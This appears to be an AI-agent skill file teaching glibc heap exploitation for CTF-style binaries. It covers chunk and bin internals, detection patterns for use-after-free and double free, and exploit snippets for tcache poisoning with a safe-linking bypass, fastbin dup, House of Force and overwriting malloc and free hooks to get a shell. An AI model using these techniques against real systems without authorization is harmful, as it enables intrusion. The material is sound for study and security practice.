Heap Exploitation

Overview

Heap exploitation targets vulnerabilities in dynamic memory allocation (malloc/free). This skill covers glibc heap internals, common vulnerabilities, and exploitation techniques from basic to advanced.

Prerequisites

• Understanding of C memory management
• GDB with pwndbg (for heap visualization)
• Knowledge of basic binary exploitation
• Familiarity with pwntools

Heap Internals Quick Reference

Chunk Structure

┌──────────────────┐
│ prev_size        │ ← Only if previous chunk is free
├──────────────────┤
│ size      | AMP  │ ← A=allocated, M=mmap, P=prev_inuse
├──────────────────┤
│ user data        │ ← Returned by malloc()
│ ...              │
└──────────────────┘

Free Chunk (adds fd/bk pointers)

┌──────────────────┐
│ prev_size        │
├──────────────────┤
│ size             │
├──────────────────┤
│ fd               │ ← Forward pointer to next free chunk
├──────────────────┤
│ bk               │ ← Back pointer to previous free chunk
├──────────────────┤
│ (fd_nextsize)    │ ← Only for large chunks
├──────────────────┤
│ (bk_nextsize)    │ ← Only for large chunks
└──────────────────┘

Bin Types

Bin	Size Range	Behavior	Security
Tcache	0x20-0x410	Per-thread LIFO	Minimal (< 2.32)
Fastbin	0x20-0x80	Global LIFO	Size check only
Unsorted	Any	Temporary holding	Some checks
Small	< 0x400	FIFO by size	FIFO checks
Large	>= 0x400	Best fit	Complex checks

Vulnerability Types

1. Use-After-Free (UAF)

Access freed memory - can leak or corrupt heap metadata.

Detection pattern:

free(ptr);
// ptr not nullified
ptr->field = value;  // UAF write
data = ptr->field;   // UAF read

2. Double Free

Free the same chunk twice - corrupts free lists.

Detection pattern:

free(ptr);
// ...
free(ptr);  // Same pointer freed again

3. Heap Overflow

Write beyond chunk boundary into adjacent chunks.

Detection pattern:

char *buf = malloc(32);
read(0, buf, 100);  // Overflow into next chunk

4. Off-by-One/Null

Overflow single byte, often corrupting size field.

Detection pattern:

buf[size] = '\0';  // Should be buf[size-1]

Exploitation Techniques

Technique 1: Tcache Poisoning (glibc 2.26+)

Requirements: UAF write or heap overflow

Process:

1. Allocate chunks of same size
2. Free to populate tcache
3. Overwrite freed chunk's fd pointer
4. Allocate twice - second returns target address

# Tcache: chunk0 -> chunk1 -> NULL
free(0)
free(1)

# Overwrite chunk1.fd to target
edit(1, p64(target_addr))

# Tcache: chunk1 -> target -> ???
alloc(2)  # Gets chunk1
alloc(3)  # Gets target!

Safe-Linking Bypass (glibc 2.32+):

# fd is now XOR'd: PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
chunk_addr = heap_leak + offset
protected_fd = (chunk_addr >> 12) ^ target
edit(1, p64(protected_fd))

Technique 2: Fastbin Dup (glibc < 2.26 or full tcache)

Requirements: Double free capability

Process:

1. Free chunk A
2. Free chunk B (different chunk)
3. Free chunk A again (creates cycle)
4. Allocate and write target as fd
5. Allocate 3 times - third returns target

free(0)  # A
free(1)  # B
free(0)  # A again - fastbin: A -> B -> A

alloc(2, p64(target))  # Gets A, writes target as fd
alloc(3)  # Gets B
alloc(4)  # Gets A
alloc(5)  # Gets target!

Technique 3: Unsorted Bin Leak

Requirements: UAF read, chunk size > tcache (0x410+)

Process:

1. Allocate large chunk (> 0x410)
2. Allocate guard chunk (prevent top consolidation)
3. Free large chunk (goes to unsorted bin)
4. Read fd/bk (points to main_arena in libc)

alloc(0, 0x420)  # Large chunk
alloc(1, 0x20)   # Guard
free(0)          # To unsorted bin

leak = read(0)   # fd/bk point to main_arena
libc_base = u64(leak) - main_arena_offset - 96

Technique 4: House of Force

Requirements: Heap overflow into top chunk, controlled malloc size

Process:

1. Overflow top chunk size to -1 (0xffffffffffffffff)
2. Calculate distance to target
3. Allocate distance (wraps around)
4. Next allocation lands at target

# Overflow top chunk size
edit(0, b'A' * chunk_size + p64(0xffffffffffffffff))

# Calculate distance
distance = target_addr - top_chunk_addr - 0x20

# Allocate gap
alloc(1, distance)

# This lands at target
alloc(2, 0x20)

Technique 5: Tcache Struct Corruption

Requirements: Large overflow or arbitrary write primitive

Process:

1. Corrupt tcache_perthread_struct
2. Set counts to indicate entries exist
3. Set entry pointers to target addresses
4. Allocate to get arbitrary locations

Common Targets

__malloc_hook (glibc < 2.34)

malloc_hook = libc.symbols['__malloc_hook']
one_gadget = libc.address + 0xe3b2e

# Write one_gadget to malloc_hook
tcache_poison(malloc_hook)
edit(chunk_at_hook, p64(one_gadget))

# Trigger malloc -> shell
alloc(trigger)

__free_hook (glibc < 2.34)

free_hook = libc.symbols['__free_hook']
system = libc.symbols['system']

# Write system to free_hook
tcache_poison(free_hook)
edit(chunk_at_hook, p64(system))

# free(chunk_with_"/bin/sh") -> system("/bin/sh")
alloc(trigger, b'/bin/sh\x00')
free(trigger)

Modern Targets (glibc 2.34+)

When hooks are removed:

• _IO_list_all - File Stream Oriented Programming (FSOP)
• TLS structures - tcache_perthread_struct
• Stack addresses via environ
• Function pointers in heap structures

Debugging Heap

pwndbg Commands

heap              # Show all chunks
bins              # Show all free lists
tcachebins        # Tcache entries
fastbins          # Fastbin entries
unsortedbin       # Unsorted bin
vis_heap_chunks   # Visual representation
arena             # Main arena info

Useful Breakpoints

b *malloc
b *free
b *__libc_malloc
b *_int_malloc
b *_int_free

Mitigation Timeline

glibc	Change
2.26	Tcache introduced
2.27	Tcache count checks
2.29	Tcache key field (double-free detection)
2.32	Safe-linking (fd pointer obfuscation)
2.34	Hooks removed (__malloc_hook, etc.)

Output Format

## Heap Exploitation

### Vulnerability Identified
- Type: Tcache poisoning via UAF
- Chunk size: 0x30
- Primitive: Arbitrary write

### Exploitation Strategy
1. Leak heap base via UAF read
2. Leak libc via unsorted bin
3. Tcache poison to __free_hook
4. Overwrite with system
5. Free chunk containing "/bin/sh"

### Key Addresses
- heap base: 0x555555559000
- libc base: 0x7f1234567000
- __free_hook: 0x7f1234789000
- system: 0x7f1234600000

### Payload
[See exploit.py]

### Result
- Shell obtained as expected user

Additional Resources

Templates

• ${CLAUDE_PLUGIN_ROOT}/templates/heap-basic.py - Basic heap exploitation template

References

• references/tcache-internals.md - Detailed tcache structure
• references/house-techniques.md - House of X techniques
• references/heap-mitigations.md - Bypass techniques for each mitigation